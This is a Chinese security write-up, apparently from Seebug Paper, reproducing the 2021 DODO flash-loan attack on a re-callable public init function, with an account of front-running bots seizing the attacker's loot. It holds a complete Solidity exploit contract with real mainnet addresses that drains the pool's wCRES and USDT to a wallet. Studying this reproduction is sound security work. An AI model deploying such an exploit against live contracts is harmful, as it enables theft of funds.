记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

一次闪电贷攻击的复现和意外发现的黑吃黑

2021-08-18 20:30

作者:w2ning
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org

0x00 概述

2021年3月,去中心化交易平台 DODO被黑客攻击,仅仅 wCRES/USDT V2 一个交易对就被转走价值近 98 万美元的 wCRES 和近 114 万美元的 USDT.

漏洞原理其实比较简单,一句话描述就是Init函数为Public且可被多次调用.

但精彩的地方在于,攻击者并没有成功拿到超200万美金的赃款,而是被Front Running Bot截了胡.

0x01 事件分析

  • 攻击合约
0x910FD17B9Bfc42A6eEA822912f036EF5a080Be8A
  • 攻击交易
0x395675b56370a9f5fe8b32badfa80043f5291443bd6c8273900476880fb5221e

  • 问题代码如下

攻击者首先生成两种垃圾Token

调用 wCRES/USDT 交易对合约的flashLoan函数 借出上百万美金的wCRES 和USDT

通过init 函数把两个Token 地址改为自己刚刚生成的两个垃圾Token

并把垃圾Token 还给交易对合约, 躲过require的检查

讽刺的是该合约声明了notInitialized的modifier,但却并没有使用...

好玩的地方来了, 也许是攻击合约中的Transfer Back函数命名过于普通?

并且同样为Public权限

攻击者两次想把赃款从合约中提取出来的行为都被Bot监控到并且抢先提款,攻击者提了个寂寞...

只能说Dark Forest名不虚传.

0x02 复现方法

  • 攻击事件发生在高度为12000165的块上, 所以我们可以选稍早的块去Fork以太坊的主网
npx ganache-cli  --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@12000000
  • 通过ERC20Factory 生成两个垃圾Token

由于ganache拿不到正确的返回值,也查不到Event

所以需要修改一下ERC20Factory合约

这样才能查到新生成的Token地址是什么...

  • 为了方便我已经手动把两个垃圾Token 打给了wCRES/USDT 交易对合约

  • 攻击合约如下

/**
*Submitted for verification at Etherscan.io on 2021-01-22
*/

/*

Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0

*/

pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;

interface DVM{

function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external;

function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external;

}


interface Token {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
}


interface USDT{
//USDT 并没有完全遵循 ERC20 标准 所以其接口需单独定义
function transfer(address to, uint value) external;
function balanceOf(address account) external view returns (uint);
}


contract poc{


uint256 wCRES_amount = 130000000000000000000000;

uint256 usdt_amount = 1100000000000;

address wCRES_token = 0xa0afAA285Ce85974c3C881256cB7F225e3A1178a;

address usdt_token = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

address maintainer = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;


// 这里是刚生成的Token1地址
address token1 = 0xAB48b42e6a98e671ff58338D5dD2fE44409b82D6;
// 这里是刚生成的Token2地址
address token2 = 0x1469A47A1700Cdf4cF030c0Fc7F2f45F24008228;

uint256 lpFeeRate = 3000000000000000;

address mtFeeRateModel = 0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01;

uint256 i = 1;

uint256 k = 1000000000000000000;

bool isOpenTWAP = false;


// 这里填你的测试地址
address wallet = 0x;

address dvm_wCRES_USDT = 0x051EBD717311350f1684f89335bed4ABd083a2b6;

function attack() public {

address me = address(this);
DVM DVM_wCRES_USDT = DVM(dvm_wCRES_USDT);
DVM_wCRES_USDT.flashLoan(wCRES_amount,usdt_amount,me,"0x");

}


function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public{

DVM DVM_wCRES_USDT = DVM(dvm_wCRES_USDT);
DVM_wCRES_USDT.init(maintainer,token1,token2,lpFeeRate,mtFeeRateModel,i,k,isOpenTWAP);

Token(wCRES_token).transfer(wallet, Token(wCRES_token).balanceOf(address(this)));
USDT(usdt_token).transfer(wallet, Token(usdt_token).balanceOf(address(this)));

}

}
  • 攻击

  • 成功


Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1675/


知识来源: paper.seebug.org/1675/

阅读:49683 | 评论:0 | 标签:攻击

想收藏或者和大家分享这篇好文章→复制链接地址

“一次闪电贷攻击的复现和意外发现的黑吃黑”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁